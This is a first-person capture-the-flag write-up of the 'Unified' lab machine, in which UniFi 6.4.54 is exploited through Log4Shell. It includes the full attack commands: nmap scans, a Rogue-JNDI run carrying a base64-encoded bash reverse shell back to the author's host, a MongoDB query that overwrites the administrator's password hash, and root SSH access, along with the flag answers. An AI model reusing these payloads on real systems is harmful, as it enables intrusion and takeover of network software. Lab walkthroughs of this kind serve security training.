Unified (Tier 2)
Description
Tier -> 2
Difficult -> Very Easy
OS -> Linux
Tags -> Vulnerability Assessment / Databases / Custom Applications / MongoDB / Java / Reconnaissance / Clear Text Credentials / Default Credentials / Code Injection
Write-up
I started doing an initial scan using Nmap
nmap 10.129.46.173 -p- -Pn --min-rate 2500 -oN scan.txt
With this, I answered the first question
Answer: 22,6789,8080,8443
Then I did an exhaustive scan to learn more about the services running on the open ports
nmap 10.129.46.173 -p22,6789,8080,8443,8843,8880 -sVC -oN serv_scan.txt
With this, I answered the next question
Answer: UniFi Network
I found an HTTP service running on ports 8443 and 8080 so I went to the browser to explore them starting with port 8443. There I found a login page from a software named Unifi as identified in the scan, and let me know the version for this software was 6.4.54. I also tried logging in with common credentials but it didn't work. After that, I explored the Forgot Password option which asked for an email to send a verification message, but as I was not registered it wouldn't work
To learn more about the HTTP protocol you can go here
With this, I answered the next question
Answer: 6.4.54
As I knew the software's version, I tried searching for any possible CVE related to it. After some research, I found this version was vulnerable to CVE-2021-44228, the well-known Log4Shell vulnerability
With this and reading more about this vulnerability, I answered the next questions
Answer: CVE-2021-44228
Answer: ldap
So first, to start the process for the exploitation, I intercepted the petition from the login page and modified it inserting a payload in the remember parameter. Then I set up a listener with tcpdump to check all the traffic over TCP, specifying in this case to listen on port 389, the default port for the LDAP service communications. Then I resend the petition and checked the listener to confirm the service was connecting back to my machine, and in fact, it was
sudo tcpdump -i tun0 port 389
To learn the complete process for the Log4Shell vulnerability exploitation you can go here
With this, I answered the next questions
Answer: 389
Answer: tcpdump
Knowing this, I created a payload and mounted a server with Rogue-JNDI to establish the communication and try to gain a reverse shell from the target machine. Then I set up a Netcat listener to receive communication and resent the petition this time pointing to the mounted server, and successfully caught a shell from the target confirming it with the
whomaicommand. Then I sanitized the terminal to interact better with it
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMTE3LzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}" --hostname "10.10.14.117"
nc -nvlp444
Once in the system, I could search for local information about users, so first I went to the /home directory where I found a user named michael, and checking the files it had, found a user.txt file from which I retrieved the user flag
Then I had to find a way to escalate privileges. I started checking on the
sudoexecution permissions for the user, but the command wasn't on the system, and proving with some other common commands for retrieving information, they were not found. So I tried looking at the services running locally and found a MongoDB database was being deployed on port 27117
ps aux | grep "127.0.0.1"
With this, I answered the next question
Answer: 27117
As the database was deployed locally, I could only interact with it through the system or try to create a tunnel with SSH to connect from our machine. The second wasn't an option as we didn't have any credentials for SSH, so I tried looking if the Mongocli utility was installed on the system, and it was, so I used it to connect to the database
mongo --version
mongo --port 27117
Once inside I wanted to retrieve sensitive information, but I didn't know the components of the database, so first I searched for possible default names related to the UniFi software, and with some research, found a repository that could help us to retrieve information and restore values to default for this specific software
Following the guide I learned the default database for UniFi was ace, so I accessed it and checked the collections it had. The admin collection caught my attention so I retrieved its information and this revealed sensitive information about the administrator user, including its email and the hash for the password it used
use ace;
show collections;
db.admin.find();
With this, I answered the next questions
Answer: ace
Answer: db.admin.find()
So I could try changing the value of the hash for one that represented an arbitrary password and in that way impersonate the administrator user. So I used a prehashed value from the previously found repository and tried to update this on the database. After that, as I didn't get any error I assumed it had worked, and then went again to the login page to try using the credentials I had set, having access to a dashboard for a network configuration software.
# We used the SHA512 for Ch4ngeM3VeryQu!ck taken from the GitHub guide
db.admin.update({ "name": "administrator" }, { $set: { "x_shadow": "$6$9Ter1EZ9$4RCTnLfeDJsdAQ16M5d1d5Ztg2CE1J2IDlbAPSUcqYOoxjEEcpMQag41dtCQv2cJ.n9kvlx46hNT78dngJBVt0" } });
To learn more about Impersonification via credentials change on MongoDB you can go here
With this, I answered the next question
Answer: db.admin.update()
Being there, I explored the features the software had, and reaching the Settings>Site tab, I noticed there was a Device Authentication section with some configurations for the SSH connection under the network, leaking the password to connect as the root user through this method
With this and the previously found user flag, I answered the next questions
Answer: NotACrackablePassword4U2022
Answer: 6ced1a6a89e666c0620cdb10262ba127
So I tried connecting through SSH with these credentials and got in successfully as the root privileged user. I did an extra sanitization just to interact better with the terminal
ssh root@10.129.46.173
Finally, I went to the /root folder to look at its content, noticing a root.txt file, and reading its content from where I retrieved the root flag
With this, I got the root flag and pwned the machine
Answer: e50bc93c75b634e4b272d2f771c33681
Last updated